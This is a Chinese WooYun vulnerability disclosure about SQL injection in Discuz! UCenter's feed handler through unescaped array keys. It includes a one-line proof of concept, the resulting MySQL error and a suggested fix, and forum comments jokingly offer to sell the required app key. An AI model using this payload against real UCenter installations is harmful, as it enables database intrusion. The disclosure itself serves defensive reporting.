当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083045

漏洞标题:知道key的情况下对ucserver进行注射

相关厂商:Discuz!

漏洞作者: Ray

提交时间:2014-11-12 18:33

修复时间:2014-12-27 18:34

公开时间:2014-12-27 18:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-12: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-27: 细节向核心白帽子及相关领域专家公开
2014-12-07: 细节向普通白帽子公开
2014-12-17: 细节向实习白帽子公开
2014-12-27: 细节向公众公开

简要描述:

因为帮finger解决问题,无意中看到的漏洞。
怎么拿到key要问finger。

详细说明:

在/uc_server/control/feed.php内有一段代码:

function onadd() {
$this->load('misc');
$appid = intval($this->input('appid'));
$icon = $this->input('icon');
$uid = intval($this->input('uid'));
$username = $this->input('username');
$body_data = $_ENV['misc']->array2string($this->input('body_data'));


中的

$body_data = $_ENV['misc']->array2string($this->input('body_data'));


中的array2string实际上的代码如下:

function array2string($arr) {
$s = $sep = '';
if($arr && is_array($arr)) {
foreach($arr as $k => $v) {
$s .= $sep.$k.UC_ARRAY_SEP_1.$v;
$sep = UC_ARRAY_SEP_2;
}
}
return $s;
}


Discuz的daddslashes并不处理key,所以:

$tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa')));


这里的调用使用key为单引号便可以触发SQL注射。

漏洞证明:

利用代码

$tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa')));


<b>UCenter info:</b> MySQL Query Error<br /><b>SQL:</b>INSERT INTO [Table]feeds
SET appid='0', icon='', uid='0', username='',
title_template='', title_data='', body_template='', body
_data=''UC_ARRAY_SEP_1aaa', body_general='',
image_1='', image_1_link='', image_2='', image_2_link=''
,
image_3='', image_3_link='', image_4='', image_4_link=''
,
hash_template='d41d8cd98f00b204e9800998ecf8427e', hash_d
ata='c80d91f685d2292acad8bc4cf8542c7c', target_ids='', dateline='1415787848'<br
/><b>Error:</b>You have an error in your SQL syntax; check the manual that corre
sponds to your MySQL server version for the right syntax to use near 'UC_ARRAY_S
EP_1aaa', body_general='',\x0D\x0A\x09\x09\x09image_1='', image_1_link' at line
2<br /><b>Errno:</b>1064<br />

修复方案:

将key也做addslashes操作。

版权声明:转载请注明来源 Ray@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-17 16:52

厂商回复:

谢谢反馈

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-12 18:37 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )

    这个key是任何一个uc_server中的应用的key,不是uc_server的key

  2. 2014-11-12 18:37 | s0mun5 认证白帽子 ( 普通白帽子 | Rank:493 漏洞数:24 | .)

    怎么拿到key 找我拿wb换

  3. 2014-11-12 18:50 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @Finger .

  4. 2014-11-12 19:09 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    ......

  5. 2014-11-12 23:35 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    @s0mun5 支持打白条么?

  6. 2014-11-13 00:44 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    洞主上次发动还是三年前

  7. 2014-11-13 09:37 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    楼主,是不是找到了秘籍在潜心修炼。我猜是葵花宝典!

  8. 2015-07-07 03:02 | h4ckhell00 ( 路人 | Rank:10 漏洞数:2 | 最温暖的两个字是什么?1、我在。2、别怕。...)

    @s0mun5 支持人民币吗